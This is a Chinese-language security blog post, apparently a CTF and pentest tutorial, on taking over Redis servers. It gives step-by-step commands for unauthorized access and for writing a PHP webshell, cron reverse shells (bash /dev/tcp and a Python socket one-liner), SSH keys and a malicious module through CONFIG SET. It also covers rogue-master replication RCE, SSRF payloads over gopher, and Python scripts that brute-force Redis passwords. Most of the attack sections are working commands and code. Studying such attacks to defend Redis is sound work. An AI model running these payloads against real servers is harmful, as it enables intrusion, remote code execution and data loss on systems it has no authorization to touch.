简述
Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。
redis有5种数据结构,如下:
-
String
-
Hash
-
List
-
Set
-
Sorted Set
具体怎么使用网上资料不少本文就不过多讲述。
主要认识一下有一个叫做keys的东西。
keys
获取redis中所有可用的key
keys *
漏洞利用
关于redis的其他介绍请自行搜索,下面讲讲关键的东西,也就是reids的漏洞利用。
未授权访问
原因
默认情况下,redis直接绑定在0.0.0.0:6379上,并且默认情况下密码会为空,此时若服务器上没有对访问ip,端口进行限制,设置密码等措施,那么此时攻击者可以未授权访问redis,轻则获取到redis内的数据,重则可以配合redis其他漏洞取得服务器权限,需要注意的是redis3.2版本后新增 protected-mode 配置,默认是 yes,即开启,外部网络无法连接 redis 服务;在复现时可以编辑 redis.conf 文件,注释掉 bind 127.0.0.1, 将 protected-mode 修改为 no 启动redis-server ./src/redis-server
利用
最直接最简单的一个的就是未设防6379端口直连,通常通过nmap扫出来6379端口就需要认识到这一个是redis的端口,那么可以尝试直连,eg:
redis-cli -h [靶机 IP] -p 6379
此时无需密码即可连上目标机器的redis,还是挺容易见到的,上一个遇见到的就是bilibili-1024-ctf中的flag8。
我们可以利用keys *来获取到其key,通过get来获取其值,biliibilictf中的flag就是直接藏在了键值对中。
经典回顾
因为这些套路也都是些老套路了,其实大同小异都是通过config写配置文件进一步获取shell,所以就归纳到了一起。
先了解一下config的一些东西:
dir:设置快照文件的存放路径,这个配置项一定是个目录,而不能是文件名。使用上面的 dbfilename 作为保存的文件名。
127.0.0.1:6379> config get dir
1) "dir"
2) "/Users/hhhm/Security/XXXX
获取到的redis的路径。
dbfilename :设置快照的文件名,默认是 dump.rdb
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
那么有get自然有set,我们可以通过set来修改其dbfilename以及dir从而把我们的shell写入目标机。
环境推荐直接用ubuntu机器搭建一个php环境跟redis。
webshell
这里为了较为直观的看到我们的php文件内容,环境我直接在win10虚拟机上启动redis跟phpstudy;此时因为未设置redis口令,宿主机可以直连redis。(win下启动可能需要指定一下配置文件redis-server.exe redis.windows.conf)
简单几条命令如下:
192.168.242.129:6379> config set dir c:phpstudy_proWWW
OK
192.168.242.129:6379> config set dbfilename hack.php
OK
192.168.242.129:6379> set x "<?php phpinfo();?>"
OK
192.168.242.129:6379> save
OK
回到win10上看一下会发现写入成功,只是多了一些杂数据, 但并不会影响我们马儿的运行:
phpinfo依旧执行成功。
定时任务
定时任务弹shell的话需要换用一台ubuntu机器,安装什么的就不多说,环境可以直接docker拉一个版本<3.2即可。
了解一下定时任务的两个位置
-
/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,如/var/spool/cron/root
-
/etc/crontab 这个文件负责调度各种管理和维护任务。
同样的使用config来写:
set x "n* * * * * bash -i >& /dev/tcp/ip/port 0>&1n"
config set dir /var/spool/cron/
config set dbfilename root
save
反弹方式不限于bash,如python
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
需要注意的是ubuntu下会因为夹杂了脏数据导致语法无法识别而任务失效;但对于centos系统则没有影响,可以成功被利用。
写ssh
条件比较苛刻,需要root权限启动redis,且机器允许密钥登陆。
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "xxxx"
save
利用条件较少,网上资料多,这里不多讲述。
关于定时任务以及公钥有师傅写了个脚本:https://github.com/JoyChou93/hackredis,可以参考利用。
小提示
网上的文章中可能会有多一句flushall在最前面,因为可能当前redis已经存在足够多的key了,所以如果写入webshell或者定时任务的话会导致文件大小超出如php所能容纳的最大大小,因此通常来说都会加多这么一句,当然了后果就是redis内的键值对都删掉了(如果数据重要的话影响很大)。
模块加载rce
模块
redis4.0以上区别于以下版本在于其多出一个模块,允许我们加载外部的so文件,通过在配置文件中设置(loadmodule /path/to/mymodule.so)/使用module load(MODULE LOAD /path/to/mymodule.so)命令加载so文件,实现在redis内执行我们的自定义命令,可以理解为我们可以自写插件来扩展redis的功能。
漏洞利用
利用方式很简单,如果我们拿到webshell,并且登陆上redis后通过webshell上传动态链接库即so文件后,通过redis的module load加载动态链接库即可rce,因为redis加载so文件所需要的权限在一般的www-data的644权限来说是可以满足的,所以此种方式在实际中是用得上的。
因为懒得搭php-redis模拟从web上传到模块加载,因此我直接docker映射目录将exp.so传到docker中,分别执行如下命令:
module load /data/exp.so
system.exec "id"
漏洞利用成功,此时可以执行任意命令。
主从复制RCE
相信很多人都听过这个东西,有段时间是一个大热的漏洞,浏览各大版块时经常能看到,那么这个漏洞的利用方式确实很有意思,在了解漏洞前先了解一下什么是主从。
主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
并且从节点也可以设置为其他节点的主节点,此时就达成了一个集群。
为了模拟主从复制,首先在本机上起两个docker,我起了两台5.0的redis,分别连上,这里显示一下我两台redis分别对应端口以及主从:
master:6300
slave:6301
那么从节点要复制主节点则使用命令:
slaveof ip port
因此我先在6300上随意set一个键值对然后在6301的redis上执行:
slaveof 192.168.43.172 6300
然后直接keys *获取所有键,然后再在主机上设置一个键值对,再获取键,结果如下:
也就是说只要我们的从节点链接上主节点后会与主节点进行同步,此时主节点所作为就可以影响到从节点,redis4.0以下可以通过主从复制把shell写入键值中;redis4.0以上则有下文中将讲到的利用方式。
配合模块加载rce
原理
先前在模块加载rce中我们成功利用模块加载执行任意命令;那么我们在主从中,master加载了so文件后,从机通过同步也会将master的so文件同步到slave上并加载,从而让我们达成rce,但这里想要加载so文件的话需要一个全量复制才会将我们的模块文件发送到slave上。
我们可以尝试在服务器中nc一个端口,然后我们的redis用slaveof命令指定为我们的服务器+端口,然后我们就会收到redis的请求:
*1
$4
PING
那么我们如果向其回复+OK,就会收到如下:
会发现我们事实上是可以模拟其服务端构建一个恶意服务端将我们的so文件通过主从复制同步到目标机器中达成rce。
漏洞利用
复现过程如下,需要项目:
-
恶意端
-
exp.so
执行恶意端后显示如下:
此时我们通过redis-cli连上目标机后可以通过system.exec "cmd"
调用任意命令。
ssrf打redis
通常来说ctf中常见的还是ssrf的利用,通过ssrf打redis有必要了解一下。
数据包
ssrf因为一个gopher协议大大拓宽了攻击面,使用过gopher的会知道我们需要对需要发送的包进行抓包然后编码通过gopher协议进行发送,因此有必要先了解一下redis传输时的数据包。
wireshark抓一下本地包过滤一下端口即可拿到我们的redis发送的数据:
关于这串东西可以简单了解一下:
-
*3表示set a 1 这样的以空格为分割的元组的属性个数
-
$3表示set的长度,同理往下的$都是表示长度
既然我们分析出来了这个东西代表的实际意义,那么我们就可以进行伪造,如果我们将恶意代码,如先前的写webshell、ssh、定时任务等进行编码后通过gopher协议发送到存在着redis的机器上,那么就可以达成ssrf打redis。
我们可以在本地尝试
webshell定时任务密钥模块加载
工具生成:https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
工具用法都有,如果不好使就url编码再发送。
gopher爆破弱口令
如果遇到了redis在内网的情况下又存在着密码,此时可以尝试爆破弱口令,我们可以试着抓一下流量包看看是以什么形式发送的。
本地可以先用:
config set requirepass "123456"
来设置密码进行测试,用-a指定密码,wireshark抓流量会发现如下:
这里需要伪造的字段只有密码的长度以及密码,所以我们可以很轻易的写一个脚本进行测试。
我们直接curl发gopher包会发现返回一个-NOAUTH Authentication required.
这里编码的话应该记得的是其结尾为rn,即%0d%0a,可以采用脚本编码:
import urllib
import requests
test =
"""*2
$4
AUTH
$6
123456
"""
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print(result)
#在浏览器中记得再次url编码
我们将上面的串复制下来后编码发包,会得到如下:
然后如果尝试发送一个错误的密码会得到如下:
有两个不同回显那么我们就可以对此进行脚本编写了,记得最后写入一个quit才能够断开连接,这里是采用curl爆破密码:
import urllib
import requests
import os
payload =
"""*2
$4
AUTH
${0}
{1}
QUIT
"""
with open("top500.txt") as f:
for i in f:
password = i.strip()
length = len(password)
poc = payload.format(length,password)
tmp = urllib.parse.quote(poc)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
result = "gopher://192.168.242.129:6379/"+result
status = os.system('curl %s'%result)
if status:
print(password)
break
import urllib
import requests
import os
payload =
"""*2
$4
AUTH
${0}
{1}
QUIT
"""
u ="http://127.0.0.1/?url={0}"
with open("top500.txt") as f:
for i in f:
password = i.strip()
length = len(password)
poc = payload.format(length,password)
tmp = urllib.parse.quote(poc)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
result = "gopher://192.168.242.129:6379/"+result
url = u.format(result)
print(url)
如果要进行其他操作,如爆破完弱口令后执行写webshell等操作,可以把这里的quit去掉后将payload拼接在后面即可。
主从复制
ssrf打主从复制的话我们需要将slave of命令通过gopher发到目标机上,为此我们没办法使用先前的脚本一键打,这里有师傅写了一个被动连接的服务端:https://github.com/Dliv3/redis-rogue-server
在有公网的vps上启动服务端,将下面的内容用上面的脚本编码后gopher发包即可,ip跟端口记得修改。
*4
$6
config
$3
set
$3
dir
$5
/tmp/
*4
$6
config
$3
set
$10
dbfilename
$9
module.so
*3
$7
slaveof
$7 //ip长度
test.cn //ip
$4 //端口长度
8080 //端口
*3
$6
module
$4
load
$14
/tmp/module.so
*2
$11
system.exec
$2
id
*1
$4
quit
总结
关于redis漏洞利用场景大致在这,但依旧存有漏掉的部分漏洞利用场景;在实战 or ctf还存在着各种bypass,这些个东西值得细细研究。
本文始发于微信公众号(疯猫网络):Redis利用一箩筐之各种姿势拿shell/rce
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论